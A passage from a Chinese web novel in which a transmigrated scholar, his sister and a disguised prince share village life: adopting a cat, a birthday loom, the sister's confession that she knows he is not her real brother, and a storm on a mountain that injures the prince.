今日季铮去地里,新长出来的苗已及膝盖高,粟米在八月多收获,而今马上要六月了,也该要备下半年要种的粮食了。 为此季铮专门戳了系统,对种什么有没有硬性要求,不出所料,得到一句自行探索。 季铮问过赵大爷后,村里普遍种冬小麦,想来随大流不会出错,便托季秧留心买些麦种回来。 家里只剩两人,外面日头大,陆观潮不知忙着干什么,迟迟不进屋。 季铮起初没管他,翻出原身柜里其余的书,打算读过一遍自己教季秧。 这段时间陆观潮累极了,累到晚上睡觉不老实,常常睡着睡着就搂住他,总叫季铮半夜憋醒。 原主读的不过一些四书五经,搜集来的各式文章,中间夹着字帖,看内容是某某皇帝的仿书。 奇怪,这些书从某一个节点开始,再无笔记,干干净净的像新的一样,往前翻,尽是密密麻麻的批注。 季铮心道,这是十六岁考中后就没学过了吧,还好意思花妹妹钱呢? 穿越前他要是遇到这种人,定会蒙住头揍一顿。 原身真是够自信的。 有一说一,字写的不错,和他有的一拼。 季铮合上书,正要拿下一本,耳边传来水声。 陆观潮在搞什么呢? 季铮起身出门,入眼一副美男出浴图。 “?” 倒也没有多夸张,不过脱了半边衣服,那里不常照太阳,要比手臂白几度吗,只是那身肌肉实在漂亮,季铮忍不住要夸一夸。 陆观潮看过来,被季铮看了也没做表情,自然过头了。 他甚至带了点自得,看样子应是还想把另一边衣服也拔下来。 既然陈昇能做,他也能做,不就是脱件衣服。 “你。”季铮被他这洋洋得意的模样气到了,很不理解,“干嘛在院子里冲水?” 或者说,大白天的弄这么一出啥意思。 给他表演裸男秀? 季铮脸渐渐黑了。 挑衅,这一定是挑衅! 欺负他一个弱男子有一百万可以领吗! 19. 第 19 章 陆观潮不知他内心想法,反而问,“怎么了,怎么这一副表情?” “没什么。” 季铮默默转过身,不想和陆观潮争论,只显得自己斤斤计较了。 陆观潮看着季铮回屋,俊美的脸上有一丝龟裂。 怎么陈昇就看得,他的就看不得了? 等陆观潮收拾好追上季铮时,却发现季铮还在看书,当即连声招呼也不打,凑过去跟着瞧。 是一本游记,讲的十六州的地貌。 季铮看着写幽州的那页出神,陆观潮也顺着他的目光看去。 幽州地寒,百姓贫苦,粮食产量不丰,冬日大雪封路可达三月不减,市井骸骨无人收敛,不见孩提,人相食为生,惶惶不得明日,珏王军驻军处。 “天不益生灵,万古何续昼……” 旁边一行朱砂字迹,不知写了有多久,只留了一半,另一半被涂了去,下笔激愤,字字泣血,季铮盯着看了会,翻到下一页。 第二页是幽州地图,字迹画了个像房子的东西,季铮没看太看懂,眯着眼要仔细分辨时,陆观潮伸手指向一处水脉。 他道,“这画错了。” 季铮抬头看陆观潮,“哪里错了?” “著此书的人大概有二十年没去幽都了。”陆观潮边指边道,“这里早在二十年前就已决堤,是……是珏王掌权后带人疏通,并分为了两脉。” 他提起笔,画出两脉的方位。 季铮恍然,这条水脉以高向低,水势湍急,前几页记载夏日常有洪灾,若分成两脉,既保证供水,又防止伤人,一举两得。 可生生将一条水脉分成两条,可不是一个小工程。 “四年。”陆观潮看出他的疑问,道,“珏王带人修了四年,冬日也未停工,周围有居民自发而为,才修成没多长时间。” 季铮莫名想到那句人相食,后背一寒,“幽州情况很不好吗?” 陆观潮略一迟疑,有些沉重道,“很不好。” 他深呼出一口气继续道,“缺粮缺碳,天灾人祸,每年冬日都要死一批人,雪崩也是常有的事。” 见季铮微蹙眉头,陆观潮喉结滚动一圈,转而道,“比多年前的光景要好,不至于再人相食了。” 季铮思索着,问道,“为何种不出粮食,太冷?” “这是一个。”陆观潮道,“土质不好,种不出粮食。” 季铮追问道,“不施化肥?” “化肥?”陆观潮认真的念出这个拗口的词,疑惑问道,“这是什么东西?” 季铮一拍脑袋,忘了这茬了。 这还没有化肥这么一说,他家里庄稼施肥全靠陆观潮日日出去和别人抢粪便。 “不重要。”季铮咳嗽一声,他想起什么,岔开话题问,“你对幽州熟悉,之前在幽州从军?” 陆观潮蓦然一顿,隔了一会,他硬着头皮道,“是。” 季铮来了兴趣,拉过板凳让陆观潮坐下,“那你知道珏王是个什么样的人吗?” “我?”陆观潮看着板凳,犹豫片刻后,最终还是坐下了,叹道,“你想知道什么?” 季铮问,“他驻军幽州,尸身怎么会在云州被发现?” 陆观潮在“我不知道”和“我不清楚”两个回答之间纠结几许,末了打量季铮的表情。 他是真不知道,还是故意的? 年前,陆泽以封赏名义宣珏王回大都传的全国皆知,后来珏王磨蹭两个月才上路遭受不少诟病,季铮当真不知道? 季铮歪了歪头,眨眼等待陆观潮的回话,眼里只有单纯。 好吧,是真的。 季铮读书读到两耳不闻窗外事。 陆观潮道,“珏王受诏回大都,途径云州遭遇刺客,下落不明。” “他不带人?”季铮道,“我是说,好歹也是皇子主帅,为什么不带亲卫。” 陆观潮张了张嘴,不知道该怎么解释,就听季铮道,“据我所知,大周律法没有规定主帅回朝不可携亲军吧?” “……” “是如此,不过珏王例外。”陆观潮道,“行动要上报,随行侍卫不可超过五十人,入皇城范围解甲卸刃。” 原来是搞针对啊。 季铮不理解,“为何?” “前朝钦天监监正仙逝前,曾为才出生的珏王批命,乃天煞孤星命格,以至于克死母亲,先帝大骇,受先太后庇佑得以活命,打入冷宫十数年,后今陛下仁德……” 陆观潮眼皮一跳,道,“受恩陛下,方出冷宫。” 季铮连声道,“神棍误人,神棍误人。” 陆观潮道,“先监正乃昆仑仙下凡,传说是瑶池娘娘的弟子。” “可惜了。”季铮道,“我是无神论者。” 陆观潮问,“何为无神论?” 季铮压低声音道,“意思是,我不信道,也无意供奉佛祖。” 陆观潮心头一跳,愣愣的看季铮,道,“大逆不道。” “这就算大逆不道了?”季铮无奈道,“若我说我还不信帝王,那算什么?何况……” 他眯了眯眼,“也未见得你有多虔诚。” 陆观潮猛地起身,板凳“嘭”的一声倒在地上,险些摔了个四分五裂。 他心跳如鼓,气血上涌,浑身血液都往脑里窜,一时间站都站不稳。 “我出去一下。”陆观潮放下这一句,落荒而逃。 身后,季铮似有所觉,面色凝重非常。 季铮应是疯了。 不对,季铮疯了。 读书读疯了。 哪本圣贤书教的? 神棍,无神论,好荒谬,陆观潮好喜欢。 他脸上竟露出些狂喜,季铮真是个宝贝,他舍不得走了。 陆观潮心想,来日回幽州,一定要把季铮带上。 这般好的宝贝,不能被陆泽挖走了! 想着想着,他觉得自己真该去冲个凉了。 季秧带回了麦种,一并带回的,还有几张油纸包的肉饼。 她告别几个小姐妹跑回家,见到季铮开开心心的喊了句,“阿兄。” 季铮应了一声,陆观潮今天中午饭后说有点事,便出去了一趟,直到现在还没回来。 他走几步接住季秧的东西,上次买的糖还有,掏出分给季秧朋友了些。 小姑娘们多活泼,拿了东西后嬉笑着道谢,有更加胆大的,对着季秧挤眉弄眼,其中一个小姑娘不同,拿着糖温吞的道了声谢。 季铮一眼就注意到她,这人要比其他姑娘高,但也没多结实,他分糖时偷着多分了一块。 “季铮哥。”一个叫窍娘的小姑娘把那人拉出来,介绍道,“这是李当归,咱们村上李大夫的女儿,前几天才从城里回来,你不认识吧,她阿兄在荆州行医。” 李当归点了点头,没说什么。 她没说,季铮就更不能说了,颔首就当认识了。 李当归被簇拥着离开,她们走后,季秧上前扯了扯季铮 的袖子,小心问道,“阿兄,你觉得李娘子怎么样?” “李娘子?”季铮想了想道,“挺腼腆的,不大爱说话,你和她有嫌隙?” 季秧摇了摇头,没了下话,“没什么。” 正好这是陆观潮回来了,季铮看他空着手,问道,“去忙什么了?” “逛了逛。”陆观潮没多说,和季秧打招呼,“回来了?” 季秧点头,“是,我带了肉饼,晚上吃这个吧。” “那我去煮个汤。”陆观潮和她三言两语说完今晚晚饭,没问一句季铮的意见。 季铮已经习惯了,连厨房都没进回了。 既然要制糖,得提前准备。 厨房里,陆观潮接过肉饼,问道,“那李娘子是怎么回事。” 季秧发着呆,被问着一句回过神来,她心里拿不准注意,对着陆观潮比对着季铮自在,索性直接说出来,道,“李娘子要仪亲了,是一家猎户,那猎户有钱但为人残暴,李娘子身子弱,心有鸿鹄之志,不想嫁给他——” “所以。”陆观潮打断道,“她们想让季铮求娶?” 季秧压着嘴唇,早知道会这样,她就不应在她们面前夸季铮,更不提随便一激就拿季铮给的钱给她们看了。 这下好了,她们见过季铮善良的模样,二分信了十分。 是不得不让季铮与李娘子相亲了。 季秧道,“我也不想这样,可她们总劝我。” 可那李家娘子实在可怜。 她见过李娘子要嫁的猎户,五大三粗,瞧上一眼要做噩梦的。 “不要这么做。”陆观潮冷冷道,“听见了吗,李娘子父亲并不是不讲理的人,嫁不嫁自由她决定,别管她们如何,你用不着帮忙。” 季秧一慌,“万一——” “没有万一。” 陆观潮道,“你也不小了,难道要受她们挟制?” 相亲,成亲? 笑话,季铮成了亲怎么和他去幽州? 季铮不能相亲,更不能成亲。 季秧眼中有不忍,到底也没反驳,转头走了。 第二日季铮去找陈昇问织机进展了。 陈昇仿佛磕了肾上腺素,速度加了一倍,几天下来已然出具形状。 季铮心满意足而归,大老远就发现自家院里,两个一大一小的人蹲在一起,露着两个黑脑袋。 “你们干啥呢?” 一言毕,两人双双回头。 季铮也看清了两人中间的东西,骤然一懵。 一只猫。 一只黑白相见的奶牛猫,瘦骨嶙峋,细弱的喵喵叫,四条腿像四根木头棍,,两只眼倒睁的大,颤巍巍的爬了两步。 好丑的一只猫。 季秧想上手碰又不敢,小步跑到季铮面前,恳求的看季铮,双手合十摆了摆,“阿兄,我们养它吧,好不好。” 季铮嘴角抽了抽。 养这个东西在家干啥,镇鬼吗? 他实话实话,“那个,它有点丑,改明给你找个好看的行不行。” “阿兄~”季秧哀求道,“它都这么丑了,我们不要它,就没人要它了,你看它那么小,会死在外面的。” 季铮看着陆观潮想让他劝几句。 没成想陆观潮也道,“猫招财,它既上门,就是缘分。” 那就是必须要养的意思了? …… 可它真的好丑! 季铮欲哭无泪,恋丑癖走开啊! 20. 第 20 章 季铮穿越前养自己都费劲,欠的助学贷款还没还完,更别提养一只猫了。 好在陆观潮很有经验,几天功夫把那猫收拾的有模有样,竟显出几分可爱。 不过半夜总爬到季铮脸上这件事,让三人很苦恼。 这猫仿佛拿准了季铮不大喜欢它,一个劲的粘季铮,扒着他的衣摆不松爪子,小小一个球缩在季铮衣领里叫唤, 季秧总害怕季铮被捉弄的烦了,不愿意养了,每次一见它有起跳的动作,便赶忙捉住抱走,不让它骚扰季铮一点。 其实季秧的顾虑纯属多余了。 季铮不养是不养,养了就要负责,他是个随和的人,决定养了,管它是上房揭瓦,还是进被窝拉尿,顶天了评价两句:哇!跳的真高,嚯!尿的好圆。 随后任劳任怨的收拾,毫无怨言,也不加规训,把这猫宠的无法无天了。 若不是有陆观潮时时刻刻关顾,真就让它做了家里的大王了。 更何况,总有季秧看不住的时候。 这不,季秧不知跑到哪里去玩了,屋内季铮正一边写字,一边轻拍着怀里的毛团子哄它睡觉。 陆观潮进屋看见这场景,眼皮一抽,和季铮怀里迷糊抬头的猫对视。 那猫知道季铮不管它,只敢在季铮这撒野,陆观潮一来,挣扎着跳下去跑走了。 季铮拍了拍身上的毛,道,“有事?” “你不该这样娇宠它。”陆观潮道,“若不加以教育,迟早养出一个混世魔王出来。” 季铮满不在乎,拎起纸页给陆观潮看,“不过一只猫,何必用规矩束缚它,这样就挺好的,来,我想了几个名字给它,季秧先看了没选出来,你挑一个。” 陆观潮嘴上抱怨着,身体倒是诚实的凑过来,看了一遍季铮取得名字,很不满意,问道,“不好。” “这些名字都不好。”陆观潮道,“依我之看,该取一个简单些的。” 季铮看着纸上的小黑,小白,啾啾,如意…… 这还不够简单吗? 季铮抿唇,目光从纸移到陆观潮脸上,问道,“比如?” “比如。”陆观潮格外自信,“圆圆。” 并没有好到哪里去! 陆观潮眨了眨眼,“不好听?” “恩……”季铮再三思索,觉得也还不错,试图安慰自己,“也不是不好听,圆吗,圆满,也不错。” 陆观潮道,“是媛,媛哉逸女,在余东滨的媛。” 季铮吞了口唾沫,迟疑着说,“可它是个公猫。” 最终在季秧的建议下,陆观潮同意换成同音字“元”。 于是陆观潮和季秧讲究的准备了聘猫礼,虽然不知道这聘礼该给谁,但两人还是欢欢喜喜的转了一圈把猫聘回家了。 准备的肉干鱼干也转了一圈,进了元元肚子里。 自从正式过了仪式,陆观潮就更忙了,跟着季秧一起练完字后,还要下田松土浇水,盯着季铮和陈昇又没有不寻常的交际,以及每隔三天消失一下午。 如今又加了一个训练元元的活。 季铮常看陆观潮教元元一些没必要学的技能。 在他看来,猫嘛,不就是养来爱护的,学这么多又不能长两斤肉,猫不见得就想学,自由自在的吃吃喝喝睡一天多好。 陆观潮则不同,立志要身边的一切事物都有用,前段时间还把一根木枝改成了扫把,对活物就更不必说了,像在训新兵蛋子。 季铮伸手想制止,生生忍住了,谁让季秧站在陆观潮那边,少数服从多数。 看着元元盯着吃的,急得喵喵叫,凄惨极了,季铮听到耳里心肝直颤。 “今天到这吧。”季铮道,“它长得跟油炸肥肠似的,能立个啥啊,爬两步都了不起了。” 陆观潮了当拒绝,“它晚上总影响你睡觉,不累累它,你能睡得着。” 季铮很想说,你和它不相上下,一样影响他,而他睡眠质量一级棒,元元那点动静,还不如陆观潮抱他一下大,压根叫不到他。 但话到嘴别卡住了,毕竟是一番好意,季铮道,“好吧,最起码给它吃一口。” 陆观潮依言喂了一条肉丝。 元元当即抱着肉丝嗷呜嗷呜的啃起来,慌乱之际勾住陆观潮的衣服,扯出一个窟窿。 陆观潮看向季铮。 ——这就是后果。 季铮万分尴尬。 ——哎呀,它只是一只猫! 季秧生辰将至,季铮和陆观潮私下去催了陈昇无数次,陈昇可算是赶在前一天弄出来了。 他上手运作一遍,确认完美后松了口气,“这下可以了季铮哥,前几天总也不对劲,我弄得都要学会了。” “不错不错。”季铮开怀的拍了拍陈昇,塞给陈昇些家里剩下不多的银钱,“一直麻烦你太不好意思了,拿着。” 陈昇接了钱,像是接了烫手山芋一般,拿都拿不稳,一张脸皱着,要哭不哭,“季铮哥,真不用,我们是朋友。” 陆观潮环胸而立,闻言轻哼一声,“让你拿着就拿着。” 季铮才不需要欠下没意义的人情债。 陈昇被陆观潮看得头皮发麻,磨磨蹭蹭的收下了,转移话题道,“明天是季阿姐的生辰吧,我一早给你们送去。” “是。”季铮笑道,“辛苦你了,来的时候尽量小点声音,别吵醒她。” 路上,陆观潮道,“你的生辰是什么时候?” “生辰……”季铮顿了顿,紧急在脑里敲了系统,“系统系统!原主啥时候生日?” 系统,【展开原身资料中,季铮,七月十二夜间生,云州人士。】 好巧,原身不仅和他同名,还和他同一天生日? “七月十二。”季铮咳了一下道,“问这个干什么?” 陆观潮别过头,答非所问,“我的生辰在八月……” “哦,处女座。”季铮评价道,“你有洁癖是不是?” 陆观潮没听懂,问道,“什么是处女座,星座命理?你还会看星宿?” 三言两句很难解释清楚,季铮哽住了,隔了会糊弄道,“倒也不算,了解过一点。” 陆观潮有些焦急,追问道,“那你可会相,相面?” “会。”季铮勾起一个笑,装模作样的停下脚步,盯着陆观潮看,“我帮你看看。” 陆观潮心跳漏一拍,下意识想遮住脸。 倘若季铮真的会,看出他天煞孤星命格了该如何是好。 可会怕他?可会厌他? 陆观潮紧张的连眼睛都不会眨了,一颗心七上八下,等待季铮下文。 季铮眯着眼盯了一会,若有其事的惊呼道,“兄弟!” 陆观潮一僵。 这个开头,是什么嘲讽的新手段吗? 季铮继续道,“你相貌堂堂,骨骼精奇,不愧是——” 陆观潮聚精会神的听。 “种地的一把好手!” 季铮哈哈大笑,“以后的活交给你干了,福星。” 福星。 是谁? 他吗? 陆观潮后退一步,有一瞬的惊慌失措,想拔腿跑掉的冲动。 季铮是什么意思,故意戏弄他? 一直到深夜,陆观潮都还在想这个问题。 “殿下。”赵年等了又等,始终没等到陆观潮说话,开口问道,“殿下,您累了吗?” 陆观潮回过神,道,“尚可,你重新说吧。” “哦。”赵年清了清嗓子,道,“侯爷去了大都,陛下的病本就不大严重,守了几日便好了,后想让侯爷回江南,侯爷称幽州不可一日无主帅,请旨镇守幽州去了。” 陆观潮问,“他准了?” 赵年摇摇头,又点点头,“自然是不准,但侯爷搬出来先帝陛下,不得不准了,更何况珏王印没被找到,陛下心里没谱,也不敢真压着人,不管幽州。” 珏王印可调动幽州百万将士,自然被陆观潮随身携带,这几年陆泽总想夺印,扶自己培养的傀儡将军上位,珏王印万万不可落到陆泽手中。 不然等陆观潮回大都后,文武百官里怕是再没有自己的位置了。 陆观潮道,“这便好,侯爷离开大都了吗?” “今早来信说已经启程前往幽州。”赵年转而问,“殿下在这待得怎么样?” 陆观潮对着下属难得无话说了,他欲言又止,憋了半天吐出来一句,“尚可。” 季秧生辰这天,跑出去和朋友玩了,陈昇得以神不知鬼不觉的将织机运到季秧房间。 和上一次一样,陈昇将图纸留下了一份,争取尽早学会贯通。 季铮令陆观潮炒了几盘菜,自己猫起来,给季秧藏礼物。 陆观潮一边炒菜,一边不忘注意季铮的行动,看到季铮把礼物和一袋子钱放到季秧枕下,凉凉道,“你把剩下的钱全给她了,我们怎么活?” “什么话。”季铮整理好枕头,心满意足道,“本来就是她的,我不过代为保管而已。” 这是上次给季秧更名那天,季秧硬要给他的工钱。 陆观潮一想确实如此,抱着要往季铮身上窜的元元离开了。 大不了他私下再接济季铮罢。 季秧回家看着一桌子菜,愣了足足七八秒,才反应过来。 她捂着嘴,惊讶的看了看季铮和陆观潮,不敢置信道,“阿兄,你还记得我的生辰?” 季铮颔首,一指她房间,“去看看,给你准备了礼物。” 季秧跑着去看了,不一会,传来一声欣喜的“啊!” “阿兄阿兄。”季秧一溜烟飞回来,眼睛亮晶晶的,“那个织机是给我的吗,好奇怪的样式。” 她说着,语气变得支支吾吾道,“我不太会用。” 陆观潮还在下面条,时候还早,季铮带着季秧去琢磨怎么用。 依他之前的想法,季秧常织布,人也伶俐聪明,没考虑不会用的情况。 细想来也对,不是所有人对着新奇物件都能立刻上手的。 季铮催陈昇时也不是干催,多少学了些皮毛,尽心教过一遍后,季秧懂了大半。 “会了就好。”季铮道,“说实话,我也没搞明白,你要是听不懂,我差点就要去请陈昇来教了。” 季秧沉默了许久。 久到季铮以为她是又哭了,正要哄之际。 不料,季秧抬头,一双眸子雪亮。 出口却将季铮吓得血液倒流。 “你不是我阿兄对吧?” 21. 第 21 章 “……” 季铮一动不敢动,干笑两声道,“说什么呢,我不是你阿兄还能是谁。” “虽然你不是我阿兄。”季秧垂下眼睫,自顾自道,“可你更像我阿兄。” 季铮不免惊慌失措,再掩埋下去依然没了意义,犹豫再三还是决定实话实说了,“对不住,我一睁眼就在这,中间发生了什么我也不知道。” 季秧默了一会,忽的拉住季铮的衣袖,露出一个戚戚然的笑,说出话却骇人听闻,“不必介怀。” “那日我回来,是想把他杀了的。” 季铮瞳孔一缩,嗓子仿佛黏住了发不出声音。 “你就当——”季秧道,“就当是我把他杀了,换了个好阿兄回来。” “所以,不管你是怎么来的,我希望你能一直演下去,不要让他回来。” 季秧离开了许久,季铮都没缓过来。 小姑娘看着娇娇弱弱的,竟然如此大胆? 但季铮一联想到原身的所作所为,便不忍心再指责她,同样的,他也没有立场评判原身,归根结底是时代的局限性,造就了这么一场悲剧,怪谁都不应该。 既然季铮出现打乱了这场因果,就不该坐视不理。 他原打算演下去的,无奈季铮仅有在抗战神剧人堆里躺着玩手机,扮尸体的演绎经验,水平过于糟糕,也没比陆观潮装失忆的手段强一星半点。 天地不仁,无可撼动,季铮能做的,只是好好照顾季秧,尽可能弥补回来罢了。 季铮搓了把脸,面色缓和了几分,在脑中敲了系统,“我被人发现了,有惩罚吗?” 【……】 系统点点点的下了半天蛋,总算弹出文字,【并存着主神意志,在正义善良的基础上,本系统需尽全力为宿主谋取便利,一切以宿主生命安全以及世界秩序为先……】 密密麻麻弹出来一页系统明白书,季铮不耐烦的叉掉,叫他直接说。 系统卡顿片刻,【根据检测结果推演得:此世界并未发生偏差。】 并未发生偏差?就是没有惩罚的意思了? 季铮松了一口气,看来季秧说还把他当原身看是真心的。 他平复好心情出门,季秧远远笑了一下,道,“阿兄,来吃饭了。” 季铮差点以为房里的季秧是他的幻觉了。 陆观潮送了季秧一支钗子,他大抵是没和女娘接触过,不知道该送什么好,也不知送人钗子的深意,送出手后见季秧恐惧的神色,和季铮想打死他的表情,才猛然觉出不对。 三人格外尴尬。 季铮眼角抽搐,皮笑肉不笑,“你什么意思?” 陆观潮耳尖红透了,当即要回钗子塞给季铮,“给,给你的。” 钗子雕着只蝴蝶,镶着一枚紫色的石头,一眼看上去就是给女孩的款式。 “我?”季铮指了指自己,把钗子往自己脑袋上比了比,问道,“好看吗?” 陆观潮愣愣的看了会,无端想点头,被他遏制住了,羞愧的不敢再看季铮。 “阿兄,陆先生不懂这些。”季秧道,“谢谢陆先生,我对外说是阿兄送的就好。” 陆观潮跟着点点头,“你若喜欢,我改日再买给你。” 这是喜欢不喜欢的问题吗!这事关他妹妹的一生幸福! 季铮不动声色的挤到陆观潮和季秧中间坐下,死死盯着陆观潮。 ——你休想勾搭我妹妹。 陆观潮后背凉飕飕的。 钗子精致,季秧爱不释手,举起对着太阳比了比,道,“这颗石头真漂亮。” “……” 陆观潮默默道,“那是宝石。” 夜间,季秧回房,放一躺下,只觉隔得慌,起身掀开枕头,就见一袋子银钱,和精心包装的一本绣花样子。 她看着看着,红了眼眶,禁不住想笑,季铮一个大男人到处找人要绣花样子,羞不羞人。 季铮监视了陆观潮好几天,只要和季秧同在其视线下,便总有一道炽热的视线追随者他。 起初陆观潮还会面红耳赤,极力忍耐,为防止被看迅速和季秧拉开距离,到后面习惯了,季铮一不看他,不由浑身难受,故意寻理由和季秧聊天。 “好,我知道了。”季秧重复一遍道,“我会告诉阿兄,元元不可喝生水的,不过。” 她转头看了眼不远处满脸怒容的季铮,问道,“阿兄就在这,为什么要借我传话?” 陆观潮对着季铮轻轻一笑,“不为什么。” 日了鬼了。 陆观潮这厮,还敢挑衅他? 季铮气的要上天,手下力气没收住,翻页生生把这一页撕下来了,他回了个冷笑,唤道,“陆观潮。” “我在。”陆观潮顺手把元元交到季秧怀里,朝季铮大步走去,“叫我什么事。” 季铮勾勾手指,陆观潮附耳凑过去,心道,到底是什么话,还要悄悄说。 只听季铮道,“再靠近我妹妹一下,我日你大爷。” 陆观潮一僵,眼睁得格外圆,惊恐的看着季铮。 按民间的叫法,他父皇已经入土十几年载,先帝虽荒淫无道,崇尚仙术,但也着实不该这般无礼,恐损了季铮的阴德。 季铮胆敢藐视先帝,这不是重点,季铮为什么骂他? 他眨了眨眼,认真道,“不要骂他。” 季铮翻了个白眼,恶狠狠道,“那我骂你。” 陆观潮心底把大爷这个词换做自己,顿时傻了。 季铮怎么可以这么想? 可以这么想吗? 他呼吸加重,直直看着季铮,“你最好不要那样做。” ? 季铮无语了,兄弟你在想什么啊! 我们纯洁的友谊去哪了! 那日之后,或许是真的怕自己后门失守,陆观潮始终和季秧保持一米距离,有事要靠季铮传话,自然,他们之间也没什么话说,从前不过是想吸引季铮注意没话找话。 这段时间,庄稼快要收获,妹妹活泼开朗,陆观潮安分守己,元元也胖了一圈。 对此,季铮分外满意,往往他过得顺时,老天爷就要整他。 果不其然,一天晚上,陆观潮不见了。 陆观潮白日出门,他才和人叮嘱了要下雨记得早点回来。 如今天色渐晚,马上就要入夜,还不见人影。 季铮嘴上总嫌弃陆观潮这不好那不是,真遇到这种情况还是慌了。 惊雷劈下,轰的一声巨响,仿佛巨石炸开。 雨滴应声落下,伴随雷声噼里啪啦响彻云霄,南风吹过窗子,灭了烛火。 突然的黑暗吓了季秧一跳,忙起身点燃蜡烛合上窗子,回头问,“陆先生还没回来,难道是出了事?” “我去找他。”季铮深呼吸一口,扶着季秧的肩稳住她,“你先放心,我马上就回来,倘若真害怕,去赵大娘那躲躲。” 这种天,可别被老虎豺狼吃了。 说着他转身要出门,季秧伸手拦了一下,没拦住,跟着送到门口,看季铮撑起油伞,狂风四起,吹打在衣服上洇湿一片,勾勒出削瘦的身形。 季秧恍惚想,人会返老还童吗 ?这个背影,和儿时挡在面前的季铮好像。 今日的雨极大,水滴打到身上比石子还要疼,风要把他刮跑。 季铮咬咬牙走出一段距离,撑着伞阻力太大,干脆收了伞。 陆观潮没说他去了哪,季铮直觉是上山去了,林里有树遮雨,风小了些,他终于得以直起腰四下寻找。 子瘦山野兽众多,季铮不敢大声呼唤,怕招来东西命丧黄泉再一次死翘翘了。 好在季铮没深入多远,便隐约看到一个人影。 一炷香前。 赵年道,“殿下,可要我回幽州?” “不用。”陆观潮道,“你留在这,以防有其他变故。” 赵年应下,抬头看到天色不妙,道,“这瞧着要下雨,殿下先回?” 陆观潮迈出一步,想到什么似的,又问,“那你怎么办?” 赵年还说出个所以然,大雨不管三七二十一,顺着他头顶的林木的空隙,潇洒的淋了他们一脸。 “我去。”赵年用袖子擦了把脸,想掏帕子给陆观潮,摸来摸去也没找到,讪讪垂下手。 赵年道,“这雨要下好一会了,殿下等会再回吧。” 陆观潮亦是一脸雨水,这会下山太冒险了,无奈答应下来。 正想季铮会不会找他,就听见身后有人叫他名字。 “陆观潮!” 赵年和陆观潮对视一眼,自觉退下躲起来了。 等赵年藏好,陆观潮回应季铮,“是我,你怎么找来了。” 有赵年在这,碍于珏王身份,陆观潮整个人端得严肃。 季铮有些不敢靠近,战战兢兢道,“你是人是鬼?” “我当然是人。”陆观潮不由发笑,“你想到哪里去了?” 季铮拍了拍胸脯,“你要吓死我吗,大半晚上的叫你不应,傻愣愣的站着,我还以为你被鬼上身了呢。” 他抹了把陆观潮,确定人是热的活的,道,“你跑这里来干什么,我找了你好久。” 陆观潮一暖,“为什么找我?” 季铮在关心他? “我也不想啊。”季铮叹道,“可你不回来,季秧总害怕出事了,要我说,你也老大不小了,能出什么事。” 陆观潮脸黑了,想堵住季铮这张只会说不好听话的嘴。 季铮拉住陆观潮,“走吧,咱们快回去,季秧该等急了。” 两人没走出几步,一道惊雷劈到面前一棵树上,那树一震,以迅雷不及掩耳之势迎着他们的位置砸下来。 季铮只觉眼前一黑,一个庞然大物仿佛把他笼罩住,一时间身体失控没了动作,心跳的要冲出喉咙,全身的细胞都在沸腾,他眼睁睁的看着树越来越近,脚底却像生了根。 陆观潮下意识推了季铮一把,自己向另一边倒去,堪堪避开要害。 “嘶——”陆观潮力气大,季铮就地翻滚几圈方停下,脑里因恐惧嗡嗡作响,五脏六腑都在发麻。 意识回笼后,他挣扎着双手要去看陆观潮的情况,忽听耳边一声模糊的“殿下。” 季铮咽了口唾沫,再仔细分辨,那道声音消失了。 转而是陆观潮的闷哼声,季铮来不及思考会不会是自己脑子震坏了,爬起来跌跌撞撞的跑到陆观潮身边。 被雷击中,这种一百七十五万分之一的概率也被他遇上了。 该说他幸运呢,还是不辛呢? 季铮哭笑不得。 陆观潮抓住季铮,眸底翻滚阴郁之色,低声道,“你笑什么,我伤到了你很开怀?” 巴不得他死吗? 22. 第 22 章 季铮“啧”了一声,“说什么呢,我当然是要关心你,伤到哪里了?” 果然是关心,陆观潮沾沾自喜,季铮就是关心他。 因着下雨,月色都模了几分,眼前昏暗,一片漆黑中只能看到陆观潮透着光眸子。 季铮边说着,边上下把陆观潮摸了个遍,手下一片潮湿,不知是雨还是血。 陆观潮反手握住季铮的手腕,干巴巴道“莫要再乱碰。” “好罢。”季铮抽出手,双手摊开呈投降状,以示安抚。 他又道,“可有大碍,能不能下山?” 陆观潮下意识点点头,反应过来季铮看不清楚,便道,“兴许是能的。” 他顺着季铮的力道站起身,小腿一阵钝痛,似乎有血液淌下,不禁歪了歪身子。 “很疼吗?”季铮急道,“不会断了吧,这可如何是好。” 陆观潮视力不错,看到季铮一张脸上满是紧张,平时多生喜爱的面容更惹人怜惜,这人的脑子难得灵通一回,他却没有多少欣慰,满腹烦闷。 季铮还是笑着的样子尚可入眼些。 他动腿活动了下,伤口泡了水,那疼痛钻心一般,还带着痒意。 战场上受的伤多了,有次辽军头头的刀子险些刺穿胸膛,他依然不同声色,挺到回营帐才晕,这点皮肉口子陆观潮没放在心上。 他面无表情道,“无妨,我们下山吧。” 突然,季铮毫无征兆的蹲下身子,温热的手掌附上陆观潮的腿,不用放到鼻尖嗅,一股子血腥味扑面而来。 陆观潮连忙躲闪,出口带着从没有过的慌张,“你干什么!” “这叫无妨?”季铮怒道,“跑回去不得把腿泡烂?” 陆观潮挣扎着,腿一痛身子向后倒,十分狼狈的跌坐到泥泞中,雨水淅淅沥沥的流下,衣服湿了一半贴在身上。 他目光有怨怼有羞愧,甚至掺杂着一丝丝委屈,气得眼眶都红了,喘着粗气愤愤不平的瞪着季铮,等罪魁祸首给他一个交代。 季铮看不到他的表情,也没神通广大到拥有读心术,环胸而立,无言和陆观潮对峙。 “我听你的。” 最终,陆观潮妥协了,他伸手搭上季铮的手,转过头不愿对视,怕被季铮看出难堪。 这想法纯多余了,季铮即便看到了,也必然不会说什么。 他只不过是有点直,基础的情商还是有的,陆观潮为了救他受伤,再加上陆观潮嫌丢人,没表露过的那点洁癖,于情于理都不该伤口上撒盐。 季铮小心的把陆观潮扶好,驾到脖子上先找避雨处,一只手揽住他,另一只撑起伞,怕再落下雨两人成落汤鸡。 而陆观潮咬着牙,心底很不满。 讨厌!季铮好讨厌! 他幽州主帅的面子是一文钱十张的炊饼吗,可以随意丢着玩。 陆观潮暗暗立誓,来日复位,定好好报复回去。 其一,就是今日之仇,他也要季铮在下属面前出丑。 不过陆观潮是个仁慈的主公,季铮是文人,和他不一样,视脸面要大过天去,万一欺负的狠撞柱明志了,谁协助他治理幽州? 那就改一改,只在他面前出丑便好。 陆观潮正想着,季铮忽的停下脚步。 面前赫然是一个凹进去的洞,不知是什么动物的巢穴,洞口堆积着杂草,应是早已舍弃了。 洞内面积不大,但着下两人绰绰有余。 季铮扶着陆观潮坐下,转而去寻干柴生活。 